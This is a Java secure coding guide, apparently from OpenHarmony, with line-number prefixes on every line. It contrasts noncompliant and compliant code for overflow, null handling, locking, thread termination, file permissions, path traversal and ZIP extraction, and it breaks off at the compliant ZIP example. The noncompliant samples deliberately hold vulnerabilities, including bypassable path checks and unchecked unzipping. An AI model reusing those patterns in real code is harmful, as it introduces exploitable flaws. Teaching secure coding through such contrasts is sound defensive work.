1e41f4b71Sopenharmony_ci# Java Secure Coding Guide 2e41f4b71Sopenharmony_ci 3e41f4b71Sopenharmony_ciThis document provides secure coding suggestions for Java-based development. 4e41f4b71Sopenharmony_ci 5e41f4b71Sopenharmony_ci# Data Type 6e41f4b71Sopenharmony_ci 7e41f4b71Sopenharmony_ci## Prevent integer overflow in numeric operations 8e41f4b71Sopenharmony_ci 9e41f4b71Sopenharmony_ci**\[Description]** 10e41f4b71Sopenharmony_ci 11e41f4b71Sopenharmony_ciEnsure that numeric operations do not create a numeric value that is outside of a specific integer range, so as to prevent integer overflows which may lead to unintended behavior. 12e41f4b71Sopenharmony_ci 13e41f4b71Sopenharmony_ciThe built-in integer operators do not indicate overflow or underflow in any way. Common addition, subtraction, multiplication, and division operations may cause integer overflows. In addition, the ranges of Java types are not symmetric (the negation of each minimum value is one more than each maximum value). Therefore, the `java.lang.Math.abs()` method which returns the absolute value of any number can also overflow if given the minimum as an argument. 14e41f4b71Sopenharmony_ci 15e41f4b71Sopenharmony_ciInteger overflows can be avoided using precondition testing, Math class, upcasting, `BigInteger`, etc. 16e41f4b71Sopenharmony_ci 17e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 18e41f4b71Sopenharmony_ci 19e41f4b71Sopenharmony_ci```java 20e41f4b71Sopenharmony_cipublic static int multNum(int num1, int num2) { 21e41f4b71Sopenharmony_ci return num1 * num2; 22e41f4b71Sopenharmony_ci} 23e41f4b71Sopenharmony_ci``` 24e41f4b71Sopenharmony_ci 25e41f4b71Sopenharmony_ciIn this noncompliant code example, when the absolute values of **num1** and **num2** are large and the product of **num1** and **num2** is greater than `Integer.MAX_VALUE` or smaller than `Integer.MIN_VALUE`, the method cannot return the correct result, incurring an overflow. 26e41f4b71Sopenharmony_ci 27e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 28e41f4b71Sopenharmony_ci 29e41f4b71Sopenharmony_ci```java 30e41f4b71Sopenharmony_cipublic static int multNum(int num1, int num2) { 31e41f4b71Sopenharmony_ci return Math.multiplyExact(num1, num2); 32e41f4b71Sopenharmony_ci} 33e41f4b71Sopenharmony_ci``` 34e41f4b71Sopenharmony_ci 35e41f4b71Sopenharmony_ciThis compliant code example uses the `Math.multiplyExact()` method, which is added to Java as part of the Java 8 release, when it is impossible to predict whether an overflow may occur in multiplication operations. This method either returns a mathematically correct value or throw `ArithmeticException`. 36e41f4b71Sopenharmony_ci 37e41f4b71Sopenharmony_ci## Ensure that division and remainder operations do not result in divide-by-zero errors 38e41f4b71Sopenharmony_ci 39e41f4b71Sopenharmony_ci**\[Description]** 40e41f4b71Sopenharmony_ci 41e41f4b71Sopenharmony_ciA division or remainder by zero can result in abnormal program termination and denial of service (DoS). Therefore, the divisor in a division or remainder operation must be checked for zero prior to the operation. 42e41f4b71Sopenharmony_ci 43e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 44e41f4b71Sopenharmony_ci 45e41f4b71Sopenharmony_ci```java 46e41f4b71Sopenharmony_cilong dividendNum = 0; 47e41f4b71Sopenharmony_cilong divisorNum = 0; 48e41f4b71Sopenharmony_cilong result1 = dividendNum / divisorNum; 49e41f4b71Sopenharmony_cilong result2 = dividendNum % divisorNum; 50e41f4b71Sopenharmony_ci``` 51e41f4b71Sopenharmony_ci 52e41f4b71Sopenharmony_ciIn this noncompliant code example, the divisor is not checked for zero prior to the operation, which may cause program errors. 53e41f4b71Sopenharmony_ci 54e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 55e41f4b71Sopenharmony_ci 56e41f4b71Sopenharmony_ci```java 57e41f4b71Sopenharmony_cilong dividendNum = 0; 58e41f4b71Sopenharmony_cilong divisorNum = 0; 59e41f4b71Sopenharmony_ciif (divisorNum != 0) { 60e41f4b71Sopenharmony_ci long result1 = dividendNum / divisorNum; 61e41f4b71Sopenharmony_ci long result2 = dividendNum % divisorNum; 62e41f4b71Sopenharmony_ci} 63e41f4b71Sopenharmony_ci``` 64e41f4b71Sopenharmony_ci 65e41f4b71Sopenharmony_ciThis compliant code example tests the divisor to guarantee there is no possibility of divide-by-zero errors before the operation. 66e41f4b71Sopenharmony_ci 67e41f4b71Sopenharmony_ci# Expressions 68e41f4b71Sopenharmony_ci 69e41f4b71Sopenharmony_ci## Do not use a null in any case where an object is required to prevent null pointer reference 70e41f4b71Sopenharmony_ci 71e41f4b71Sopenharmony_ci**\[Description]** 72e41f4b71Sopenharmony_ci 73e41f4b71Sopenharmony_ciUsing a null in cases where an object is required results in a `NullPointerException` being thrown. Such exceptions should be resolved through pre-check rather than `try...catch`. 74e41f4b71Sopenharmony_ci 75e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 76e41f4b71Sopenharmony_ci 77e41f4b71Sopenharmony_ci```java 78e41f4b71Sopenharmony_ciString env = System.getenv(SOME_ENV); 79e41f4b71Sopenharmony_ciif (env.length() > MAX_LENGTH) { 80e41f4b71Sopenharmony_ci ... 81e41f4b71Sopenharmony_ci} 82e41f4b71Sopenharmony_ci``` 83e41f4b71Sopenharmony_ci 84e41f4b71Sopenharmony_ciIn this noncompliant code example, the return value of `System.getenv()` may be null, but `env` is not checked for null before it is used. As a result, a null pointer reference occurs. 85e41f4b71Sopenharmony_ci 86e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 87e41f4b71Sopenharmony_ci 88e41f4b71Sopenharmony_ci```java 89e41f4b71Sopenharmony_ciString env = System.getenv(SOME_ENV); 90e41f4b71Sopenharmony_ciif (env != null && env.length() > MAX_LENGTH) { 91e41f4b71Sopenharmony_ci ... 92e41f4b71Sopenharmony_ci} 93e41f4b71Sopenharmony_ci``` 94e41f4b71Sopenharmony_ci 95e41f4b71Sopenharmony_ciThe compliant code example eliminates null pointer reference by adding a null check for the `System.getenv()` return value. 96e41f4b71Sopenharmony_ci 97e41f4b71Sopenharmony_ci# Concurrency and Multithreading 98e41f4b71Sopenharmony_ci 99e41f4b71Sopenharmony_ci## Ensure that actively held locks are released on exceptional conditions 100e41f4b71Sopenharmony_ci 101e41f4b71Sopenharmony_ci**\[Description]** 102e41f4b71Sopenharmony_ci 103e41f4b71Sopenharmony_ciAn unreleased lock in any thread will prevent other threads from acquiring the same lock, leading to blocking. Programs must release all actively held locks on exceptional conditions. Intrinsic locks of class objects used for method and block synchronization are automatically released on exceptional conditions. However, most Java lock objects are not closeable, so they cannot be automatically released using the try-with-resources feature. In this case, programs must release the locks actively. 104e41f4b71Sopenharmony_ci 105e41f4b71Sopenharmony_ci**Noncompliant Code Example** (Checked Exception) 106e41f4b71Sopenharmony_ci 107e41f4b71Sopenharmony_ci```java 108e41f4b71Sopenharmony_cipublic final class Foo { 109e41f4b71Sopenharmony_ci private final Lock lock = new ReentrantLock(); 110e41f4b71Sopenharmony_ci 111e41f4b71Sopenharmony_ci public void incorrectReleaseLock() { 112e41f4b71Sopenharmony_ci try { 113e41f4b71Sopenharmony_ci lock.lock(); 114e41f4b71Sopenharmony_ci doSomething(); 115e41f4b71Sopenharmony_ci lock.unlock(); 116e41f4b71Sopenharmony_ci } catch (MyBizException ex) { 117e41f4b71Sopenharmony_ci //Handle the exception 118e41f4b71Sopenharmony_ci } 119e41f4b71Sopenharmony_ci } 120e41f4b71Sopenharmony_ci 121e41f4b71Sopenharmony_ci private void doSomething() throws MyBizException { 122e41f4b71Sopenharmony_ci ... 123e41f4b71Sopenharmony_ci } 124e41f4b71Sopenharmony_ci} 125e41f4b71Sopenharmony_ci``` 126e41f4b71Sopenharmony_ci 127e41f4b71Sopenharmony_ciThis noncompliant code example uses a `ReentrantLock`. However, the catch block fails to release the lock when an exception is thrown by the `doSomething()` method. 128e41f4b71Sopenharmony_ci 129e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (**finally** Block) 130e41f4b71Sopenharmony_ci 131e41f4b71Sopenharmony_ci```java 132e41f4b71Sopenharmony_cipublic final class Foo { 133e41f4b71Sopenharmony_ci private final Lock lock = new ReentrantLock(); 134e41f4b71Sopenharmony_ci 135e41f4b71Sopenharmony_ci public void correctReleaseLock() { 136e41f4b71Sopenharmony_ci lock.lock(); 137e41f4b71Sopenharmony_ci try { 138e41f4b71Sopenharmony_ci doSomething(); 139e41f4b71Sopenharmony_ci } catch (MyBizException ex) { 140e41f4b71Sopenharmony_ci //Handle the exception 141e41f4b71Sopenharmony_ci } finally { 142e41f4b71Sopenharmony_ci lock.unlock(); 143e41f4b71Sopenharmony_ci } 144e41f4b71Sopenharmony_ci } 145e41f4b71Sopenharmony_ci 146e41f4b71Sopenharmony_ci private void doSomething() throws MyBizException { 147e41f4b71Sopenharmony_ci ... 148e41f4b71Sopenharmony_ci } 149e41f4b71Sopenharmony_ci} 150e41f4b71Sopenharmony_ci``` 151e41f4b71Sopenharmony_ci 152e41f4b71Sopenharmony_ciThis compliant code example encapsulates operations that could throw an exception in a **try** block immediately after acquiring the lock. The lock is acquired before the **try** block, which ensures that it is held when the **finally** block executes. Calling `lock.unlock()` in the **finally** block ensures that the lock can be released even in the event of an exception. 153e41f4b71Sopenharmony_ci 154e41f4b71Sopenharmony_ci**Noncompliant Code Example** (Unchecked Exception) 155e41f4b71Sopenharmony_ci 156e41f4b71Sopenharmony_ci```java 157e41f4b71Sopenharmony_cifinal class Foo { 158e41f4b71Sopenharmony_ci private final Lock lock = new ReentrantLock(); 159e41f4b71Sopenharmony_ci 160e41f4b71Sopenharmony_ci public void incorrectReleaseLock(String value) { 161e41f4b71Sopenharmony_ci lock.lock(); 162e41f4b71Sopenharmony_ci ... 163e41f4b71Sopenharmony_ci int index = Integer.parseInt(value); 164e41f4b71Sopenharmony_ci ... 165e41f4b71Sopenharmony_ci lock.unlock(); 166e41f4b71Sopenharmony_ci } 167e41f4b71Sopenharmony_ci} 168e41f4b71Sopenharmony_ci``` 169e41f4b71Sopenharmony_ci 170e41f4b71Sopenharmony_ciIn this noncompliant code example, when the string passed by the `incorrectReleaseLock()` method is not a number, a `NumberFormatException` will be thrown in subsequent operations. Consequently, the lock is not correctly released. 171e41f4b71Sopenharmony_ci 172e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (**finally** Block) 173e41f4b71Sopenharmony_ci 174e41f4b71Sopenharmony_ci```java 175e41f4b71Sopenharmony_cifinal class Foo { 176e41f4b71Sopenharmony_ci private final Lock lock = new ReentrantLock(); 177e41f4b71Sopenharmony_ci 178e41f4b71Sopenharmony_ci public void correctReleaseLock(String value) { 179e41f4b71Sopenharmony_ci lock.lock(); 180e41f4b71Sopenharmony_ci try { 181e41f4b71Sopenharmony_ci ... 182e41f4b71Sopenharmony_ci int index = Integer.parseInt(value); 183e41f4b71Sopenharmony_ci ... 184e41f4b71Sopenharmony_ci } finally { 185e41f4b71Sopenharmony_ci lock.unlock(); 186e41f4b71Sopenharmony_ci } 187e41f4b71Sopenharmony_ci } 188e41f4b71Sopenharmony_ci} 189e41f4b71Sopenharmony_ci``` 190e41f4b71Sopenharmony_ci 191e41f4b71Sopenharmony_ciThis compliant code example encapsulates operations that could throw an exception in a **try** block immediately after acquiring the lock. The lock is acquired before the **try** block, which ensures that it is held when the **finally** block executes. Calling `lock.unlock()` in the **finally** block ensures that the lock can be released even in the event of an exception. 192e41f4b71Sopenharmony_ci 193e41f4b71Sopenharmony_ci## Do not use **Thread.stop()** to terminate threads 194e41f4b71Sopenharmony_ci 195e41f4b71Sopenharmony_ci**\[Description]** 196e41f4b71Sopenharmony_ci 197e41f4b71Sopenharmony_ciThreads preserve class invariants when they are allowed to exit normally. Some thread APIs were initially introduced to facilitate thread suspension, resumption, and termination but were later deprecated due to inherent design weaknesses. For example, the `Thread.stop()` method causes the thread to immediately throw a `ThreadDeath` exception, which usually stops the thread. Calling `Thread.stop()` results in the release of all locks acquired by a thread, potentially exposing the objects protected by the locks when those objects are in an inconsistent state. 198e41f4b71Sopenharmony_ci 199e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** (Deprecated **Thread.stop()**) 200e41f4b71Sopenharmony_ci 201e41f4b71Sopenharmony_ci```java 202e41f4b71Sopenharmony_cipublic final class Foo implements Runnable { 203e41f4b71Sopenharmony_ci private final Vector<Integer> vector = new Vector<Integer>(1000); 204e41f4b71Sopenharmony_ci 205e41f4b71Sopenharmony_ci public Vector<Integer> getVector() { 206e41f4b71Sopenharmony_ci return vector; 207e41f4b71Sopenharmony_ci } 208e41f4b71Sopenharmony_ci 209e41f4b71Sopenharmony_ci @Override 210e41f4b71Sopenharmony_ci public synchronized void run() { 211e41f4b71Sopenharmony_ci Random number = new Random(123L); 212e41f4b71Sopenharmony_ci int i = vector.capacity(); 213e41f4b71Sopenharmony_ci while (i > 0) { 214e41f4b71Sopenharmony_ci vector.add(number.nextInt(100)); 215e41f4b71Sopenharmony_ci i--; 216e41f4b71Sopenharmony_ci } 217e41f4b71Sopenharmony_ci } 218e41f4b71Sopenharmony_ci 219e41f4b71Sopenharmony_ci public static void main(String[] args) throws InterruptedException { 220e41f4b71Sopenharmony_ci Thread thread = new Thread(new Foo()); 221e41f4b71Sopenharmony_ci thread.start(); 222e41f4b71Sopenharmony_ci Thread.sleep(5000); 223e41f4b71Sopenharmony_ci thread.stop(); 224e41f4b71Sopenharmony_ci } 225e41f4b71Sopenharmony_ci} 226e41f4b71Sopenharmony_ci``` 227e41f4b71Sopenharmony_ci 228e41f4b71Sopenharmony_ciIn this noncompliant code example, a thread fills a vector with pseudorandom numbers. The thread is forcefully stopped after a specific period of time. Because **Vector** is a thread-safe class, the operations performed by multiple threads on the shared instance will leave it in a consistent state. For example, the `Vector.size()` method always returns the correct number of elements in the vector, because the vector instance uses its own intrinsic lock to synchronize state. However, the `Thread.stop()` method causes the thread to stop and throw a `ThreadDeath` exception. All acquired locks are subsequently released. If the thread was in the process of adding a new integer when it was stopped, the vector would be in an inconsistent state. For example, this could result in `Vector.size()` returning an incorrect element count because the element count was incremented after the element is added. 229e41f4b71Sopenharmony_ci 230e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Setting a Thread End Flag) 231e41f4b71Sopenharmony_ci 232e41f4b71Sopenharmony_ci```java 233e41f4b71Sopenharmony_cipublic final class Foo implements Runnable { 234e41f4b71Sopenharmony_ci private final Vector<Integer> vector = new Vector<Integer>(1000); 235e41f4b71Sopenharmony_ci 236e41f4b71Sopenharmony_ci private boolean done = false; 237e41f4b71Sopenharmony_ci 238e41f4b71Sopenharmony_ci public Vector<Integer> getVector() { 239e41f4b71Sopenharmony_ci return vector; 240e41f4b71Sopenharmony_ci } 241e41f4b71Sopenharmony_ci 242e41f4b71Sopenharmony_ci public void shutdown() { 243e41f4b71Sopenharmony_ci done = true; 244e41f4b71Sopenharmony_ci } 245e41f4b71Sopenharmony_ci 246e41f4b71Sopenharmony_ci @Override 247e41f4b71Sopenharmony_ci public synchronized void run() { 248e41f4b71Sopenharmony_ci Random number = new Random(123L); 249e41f4b71Sopenharmony_ci int i = vector.capacity(); 250e41f4b71Sopenharmony_ci while (!done && i > 0) { 251e41f4b71Sopenharmony_ci vector.add(number.nextInt(100)); 252e41f4b71Sopenharmony_ci i--; 253e41f4b71Sopenharmony_ci } 254e41f4b71Sopenharmony_ci } 255e41f4b71Sopenharmony_ci 256e41f4b71Sopenharmony_ci public static void main(String[] args) throws InterruptedException { 257e41f4b71Sopenharmony_ci Foo foo = new Foo(); 258e41f4b71Sopenharmony_ci Thread thread = new Thread(foo); 259e41f4b71Sopenharmony_ci thread.start(); 260e41f4b71Sopenharmony_ci Thread.sleep(5000); 261e41f4b71Sopenharmony_ci foo.shutdown(); 262e41f4b71Sopenharmony_ci } 263e41f4b71Sopenharmony_ci} 264e41f4b71Sopenharmony_ci``` 265e41f4b71Sopenharmony_ci 266e41f4b71Sopenharmony_ciThis compliant code example uses a flag to request thread termination. The `shutdown()` method is used to set the flag to **true**. The `run()` method of the thread terminates when it finds the flag is **true**. 267e41f4b71Sopenharmony_ci 268e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Interruptible) 269e41f4b71Sopenharmony_ci 270e41f4b71Sopenharmony_ci```java 271e41f4b71Sopenharmony_cipublic final class Foo implements Runnable { 272e41f4b71Sopenharmony_ci private final Vector<Integer> vector = new Vector<Integer>(1000); 273e41f4b71Sopenharmony_ci 274e41f4b71Sopenharmony_ci public Vector<Integer> getVector() { 275e41f4b71Sopenharmony_ci return vector; 276e41f4b71Sopenharmony_ci } 277e41f4b71Sopenharmony_ci 278e41f4b71Sopenharmony_ci @Override 279e41f4b71Sopenharmony_ci public synchronized void run() { 280e41f4b71Sopenharmony_ci Random number = new Random(123L); 281e41f4b71Sopenharmony_ci int i = vector.capacity(); 282e41f4b71Sopenharmony_ci while (!Thread.interrupted() && i > 0) { 283e41f4b71Sopenharmony_ci vector.add(number.nextInt(100)); 284e41f4b71Sopenharmony_ci i--; 285e41f4b71Sopenharmony_ci } 286e41f4b71Sopenharmony_ci } 287e41f4b71Sopenharmony_ci 288e41f4b71Sopenharmony_ci public static void main(String[] args) throws InterruptedException { 289e41f4b71Sopenharmony_ci Foo foo = new Foo(); 290e41f4b71Sopenharmony_ci Thread thread = new Thread(foo); 291e41f4b71Sopenharmony_ci thread.start(); 292e41f4b71Sopenharmony_ci Thread.sleep(5000); 293e41f4b71Sopenharmony_ci thread.interrupt(); 294e41f4b71Sopenharmony_ci } 295e41f4b71Sopenharmony_ci} 296e41f4b71Sopenharmony_ci``` 297e41f4b71Sopenharmony_ci 298e41f4b71Sopenharmony_ciThe compliant code example calls the `Thread.interrupt()` method to terminate the thread. Calling `Thread.interrupt()` sets an internal termination flag. The thread polls that flag using the `Thread.interrupted()` method, which both returns **true** if the current thread has been terminated and clears the termination flag. 299e41f4b71Sopenharmony_ci 300e41f4b71Sopenharmony_ci## Clear customized **ThreadLocal** variables when the thread in the thread pool ends 301e41f4b71Sopenharmony_ci 302e41f4b71Sopenharmony_ci**\[Description]** 303e41f4b71Sopenharmony_ci 304e41f4b71Sopenharmony_ciThread pooling reduces thread creation overhead by reusing threads. However, the reuse of threads causes two problems related to the use of `ThreadLocal` variables: 305e41f4b71Sopenharmony_ci 306e41f4b71Sopenharmony_ci- Dirty data: `ThreadLocal` variables are not correctly initialized for the current task. Consequently, the task sees `ThreadLocal` variables set by another task executed on the same thread. 307e41f4b71Sopenharmony_ci- Memory leak: Since `ThreadLocal` variables are not actively released, the memory cannot be actively reclaimed. 308e41f4b71Sopenharmony_ci 309e41f4b71Sopenharmony_ciTherefore, the `ThreadLocal` variables used by each task in the thread pool must be automatically cleared after the task ends. 310e41f4b71Sopenharmony_ci 311e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 312e41f4b71Sopenharmony_ci 313e41f4b71Sopenharmony_ci```java 314e41f4b71Sopenharmony_cipublic class TestThreadLocal { 315e41f4b71Sopenharmony_ci public static void main(String[] args) { 316e41f4b71Sopenharmony_ci ThreadPoolExecutor pool = new ThreadPoolExecutor(1, 2, 100, 317e41f4b71Sopenharmony_ci TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>(), 318e41f4b71Sopenharmony_ci Executors.defaultThreadFactory(), new ThreadPoolExecutor.CallerRunsPolicy()); 319e41f4b71Sopenharmony_ci for (int i = 0; i < 20; i++) { 320e41f4b71Sopenharmony_ci pool.execute(new TestThreadLocalTask()); 321e41f4b71Sopenharmony_ci } 322e41f4b71Sopenharmony_ci } 323e41f4b71Sopenharmony_ci} 324e41f4b71Sopenharmony_ci 325e41f4b71Sopenharmony_ciclass TestThreadLocalTask implements Runnable { 326e41f4b71Sopenharmony_ci private static ThreadLocal<Integer> localValue = new ThreadLocal<>(); 327e41f4b71Sopenharmony_ci 328e41f4b71Sopenharmony_ci @Override 329e41f4b71Sopenharmony_ci public void run() { 330e41f4b71Sopenharmony_ci localValue.set(STATE1); 331e41f4b71Sopenharmony_ci try { 332e41f4b71Sopenharmony_ci ... 333e41f4b71Sopenharmony_ci localValue.set(STATE3); 334e41f4b71Sopenharmony_ci ... 335e41f4b71Sopenharmony_ci } finally { 336e41f4b71Sopenharmony_ci localValue.remove(); //Use the remove() method to clear local variables of the thread to avoid memory leak 337e41f4b71Sopenharmony_ci } 338e41f4b71Sopenharmony_ci } 339e41f4b71Sopenharmony_ci} 340e41f4b71Sopenharmony_ci``` 341e41f4b71Sopenharmony_ci 342e41f4b71Sopenharmony_ci# Input/Output 343e41f4b71Sopenharmony_ci 344e41f4b71Sopenharmony_ci## Create files with appropriate access permissions on multi-user systems 345e41f4b71Sopenharmony_ci 346e41f4b71Sopenharmony_ci**\[Description]** 347e41f4b71Sopenharmony_ci 348e41f4b71Sopenharmony_ciFiles in multi-user systems are generally owned by a particular user. The owner of the files can specify which other users in the system are allowed to access the files. These file systems use a privilege and permission model to protect file access. When a file is created, the file access permissions dictate who are allowed to access or operate on the file. When a program creates a file with insufficiently restrictive access permissions, an attacker may read or modify the file before the program can modify the permissions. Consequently, files must be created with access permissions that prevent unauthorized file access. 349e41f4b71Sopenharmony_ci 350e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 351e41f4b71Sopenharmony_ci 352e41f4b71Sopenharmony_ci```java 353e41f4b71Sopenharmony_ciWriter out = new FileWriter("file"); 354e41f4b71Sopenharmony_ci``` 355e41f4b71Sopenharmony_ci 356e41f4b71Sopenharmony_ciThe constructors for `FileOutputStream` and `FileWriter` do not allow programmers to explicitly specify file access permissions. In this noncompliant code example, the access permissions of any file created are implementation-defined and may not prevent unauthorized access. 357e41f4b71Sopenharmony_ci 358e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 359e41f4b71Sopenharmony_ci 360e41f4b71Sopenharmony_ci```java 361e41f4b71Sopenharmony_ciPath file = new File("file").toPath(); 362e41f4b71Sopenharmony_ci 363e41f4b71Sopenharmony_ci//Throw an exception, rather than overwrite an existing file 364e41f4b71Sopenharmony_ciSet<OpenOption> options = new HashSet<OpenOption>(); 365e41f4b71Sopenharmony_cioptions.add(StandardOpenOption.CREATE_NEW); 366e41f4b71Sopenharmony_cioptions.add(StandardOpenOption.APPEND); 367e41f4b71Sopenharmony_ci 368e41f4b71Sopenharmony_ci//Set file permissions to allow only the owner to read/write the file 369e41f4b71Sopenharmony_ciSet<PosixFilePermission> perms = PosixFilePermissions.fromString("rw-------"); 370e41f4b71Sopenharmony_ciFileAttribute<Set<PosixFilePermission>> attr = 371e41f4b71Sopenharmony_ci PosixFilePermissions.asFileAttribute(perms); 372e41f4b71Sopenharmony_citry (SeekableByteChannel sbc = Files.newByteChannel(file, options, attr)) { 373e41f4b71Sopenharmony_ci ... //Write data 374e41f4b71Sopenharmony_ci} 375e41f4b71Sopenharmony_ci``` 376e41f4b71Sopenharmony_ci 377e41f4b71Sopenharmony_ci**\[Exception]** 378e41f4b71Sopenharmony_ci 379e41f4b71Sopenharmony_ciWhen a file is created inside a directory that is both secure and unreadable to untrusted users, the file may be created with the default access permissions. This is the case, for example, if the entire file system is trusted or accessible only to trusted users. 380e41f4b71Sopenharmony_ci 381e41f4b71Sopenharmony_ci## Validate and canonicalize path names constructed using external data 382e41f4b71Sopenharmony_ci 383e41f4b71Sopenharmony_ci**\[Description]** 384e41f4b71Sopenharmony_ci 385e41f4b71Sopenharmony_ciIf a path name is constructed using external data, it must be verified. Otherwise, a path traversal vulnerability may occur. 386e41f4b71Sopenharmony_ci 387e41f4b71Sopenharmony_ciA path name may be either absolute or relative and may contain file links, such as symbolic links, shortcuts, and shadows, which all affect path name validation. Therefore, path names must be canonicalized before being validated. Be sure to use `getCanonicalPath()`, but not `getAbsolutePath()`, to canonicalize path names, because the latter does not guarantee correct canonicalization on all platforms. 388e41f4b71Sopenharmony_ci 389e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 390e41f4b71Sopenharmony_ci 391e41f4b71Sopenharmony_ci```java 392e41f4b71Sopenharmony_cipublic void doSomething() { 393e41f4b71Sopenharmony_ci File file = new File(HOME_PATH, fileName); 394e41f4b71Sopenharmony_ci String path = file.getPath(); 395e41f4b71Sopenharmony_ci 396e41f4b71Sopenharmony_ci if (!validatePath(path)) { 397e41f4b71Sopenharmony_ci throw new IllegalArgumentException("Path Traversal vulnerabilities may exist!") ; 398e41f4b71Sopenharmony_ci } 399e41f4b71Sopenharmony_ci ... //Perform read and write operations on the file 400e41f4b71Sopenharmony_ci} 401e41f4b71Sopenharmony_ci 402e41f4b71Sopenharmony_ciprivate boolean validatePath(String path) { 403e41f4b71Sopenharmony_ci if (path.startsWith(HOME_PATH)) { 404e41f4b71Sopenharmony_ci return true; 405e41f4b71Sopenharmony_ci } else { 406e41f4b71Sopenharmony_ci return false; 407e41f4b71Sopenharmony_ci } 408e41f4b71Sopenharmony_ci} 409e41f4b71Sopenharmony_ci``` 410e41f4b71Sopenharmony_ci 411e41f4b71Sopenharmony_ciIn this noncompliant code example, the file name comes from external input and is directly concatenated with a fixed path name to generate the actual path name. Before the file is accessed, `validatePath` is used to check whether the actual path name is under a fixed directory. However, an attacker can still access a file outside **HOME\_PATH** by entering an argument that contains **../**. 412e41f4b71Sopenharmony_ci 413e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (**getCanonicalPath()**) 414e41f4b71Sopenharmony_ci 415e41f4b71Sopenharmony_ci```java 416e41f4b71Sopenharmony_cipublic void doSomething() { 417e41f4b71Sopenharmony_ci File file = new File(HOME_PATH, fileName); 418e41f4b71Sopenharmony_ci try { 419e41f4b71Sopenharmony_ci String canonicalPath = file.getCanonicalPath(); 420e41f4b71Sopenharmony_ci if (!validatePath(canonicalPath)) { 421e41f4b71Sopenharmony_ci throw new IllegalArgumentException("Path Traversal vulnerability!"); 422e41f4b71Sopenharmony_ci } 423e41f4b71Sopenharmony_ci ... //Perform read and write operations on the file 424e41f4b71Sopenharmony_ci } catch (IOException ex) { 425e41f4b71Sopenharmony_ci throw new IllegalArgumentException("An exception occurred ...", ex); 426e41f4b71Sopenharmony_ci } 427e41f4b71Sopenharmony_ci} 428e41f4b71Sopenharmony_ci 429e41f4b71Sopenharmony_ciprivate boolean validatePath(String path) { 430e41f4b71Sopenharmony_ci if (path.startsWith(HOME_PATH)) { 431e41f4b71Sopenharmony_ci return true; 432e41f4b71Sopenharmony_ci } else { 433e41f4b71Sopenharmony_ci return false; 434e41f4b71Sopenharmony_ci } 435e41f4b71Sopenharmony_ci} 436e41f4b71Sopenharmony_ci``` 437e41f4b71Sopenharmony_ci 438e41f4b71Sopenharmony_ciThis compliant code example canonicalizes the path name constructed using the externally-supplied file name, and validates the canonicalized path name before performing file read/write operations. This practice can effectively prevent risks like path traversal. 439e41f4b71Sopenharmony_ci 440e41f4b71Sopenharmony_ci## Perform security check when decompressing a ZIP archive using **ZipInputStream** 441e41f4b71Sopenharmony_ci 442e41f4b71Sopenharmony_ci**\[Description]** 443e41f4b71Sopenharmony_ci 444e41f4b71Sopenharmony_ciA number of security concerns must be considered when extracting files from a ZIP archive using `java.util.zip.ZipInputStream`: 445e41f4b71Sopenharmony_ci 446e41f4b71Sopenharmony_ci**1\. Extracting files outside the intended directory** 447e41f4b71Sopenharmony_ci 448e41f4b71Sopenharmony_ciFile names may contain **../** sequences that may cause the files to be extracted outside of the intended directory. Therefore, file names must be validated when files are extracted from a ZIP archive. If the destination path of any file in the ZIP archive is not within the expected directory, either refuse to extract it or extract it to a safe location. 449e41f4b71Sopenharmony_ci 450e41f4b71Sopenharmony_ci**2\. Excessive consumption of system resources during file extraction** 451e41f4b71Sopenharmony_ci 452e41f4b71Sopenharmony_ciWhen extracting files from a ZIP archive, both the number and size of the extracted files need to be limited. The zip algorithm can produce very large compression ratios, to compress a huge file into a small ZIP archive. If the actual size of the files in the ZIP archive is not checked, the extracted files may occupy a large amount of system resources, resulting in a ZIP bomb attack. Therefore, programs must refuse to extract files beyond a certain size limit. The actual limit depends on the capabilities of the platform. 453e41f4b71Sopenharmony_ci 454e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 455e41f4b71Sopenharmony_ci 456e41f4b71Sopenharmony_ci```java 457e41f4b71Sopenharmony_cipublic void unzip(String fileName, String dir) throws IOException { 458e41f4b71Sopenharmony_ci try (FileInputStream fis = new FileInputStream(fileName); 459e41f4b71Sopenharmony_ci ZipInputStream zis = new ZipInputStream(fis)) { 460e41f4b71Sopenharmony_ci ZipEntry entry; 461e41f4b71Sopenharmony_ci File tempFile; 462e41f4b71Sopenharmony_ci byte[] buf = new byte[10240]; 463e41f4b71Sopenharmony_ci int length; 464e41f4b71Sopenharmony_ci 465e41f4b71Sopenharmony_ci while ((entry = zis.getNextEntry()) != null) { 466e41f4b71Sopenharmony_ci tempFile = new File(dir, entry.getName()); 467e41f4b71Sopenharmony_ci if (entry.isDirectory()) { 468e41f4b71Sopenharmony_ci tempFile.mkdirs(); 469e41f4b71Sopenharmony_ci continue; 470e41f4b71Sopenharmony_ci } 471e41f4b71Sopenharmony_ci 472e41f4b71Sopenharmony_ci try (FileOutputStream fos = new FileOutputStream(tempFile)) { 473e41f4b71Sopenharmony_ci while ((length = zis.read(buf)) != -1) { 474e41f4b71Sopenharmony_ci fos.write(buf, 0, length); 475e41f4b71Sopenharmony_ci } 476e41f4b71Sopenharmony_ci } 477e41f4b71Sopenharmony_ci } 478e41f4b71Sopenharmony_ci } 479e41f4b71Sopenharmony_ci} 480e41f4b71Sopenharmony_ci``` 481e41f4b71Sopenharmony_ci 482e41f4b71Sopenharmony_ciThis noncompliant code example does not validate the name of the file that is being unzipped. It passes the name directly to the constructor of `FileOutputStream`. It also fails to check the resource consumption of the file that is being unzipped. It permits the operation to run to completion or until local resources are exhausted. 483e41f4b71Sopenharmony_ci 484e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 485e41f4b71Sopenharmony_ci 486e41f4b71Sopenharmony_ci```java 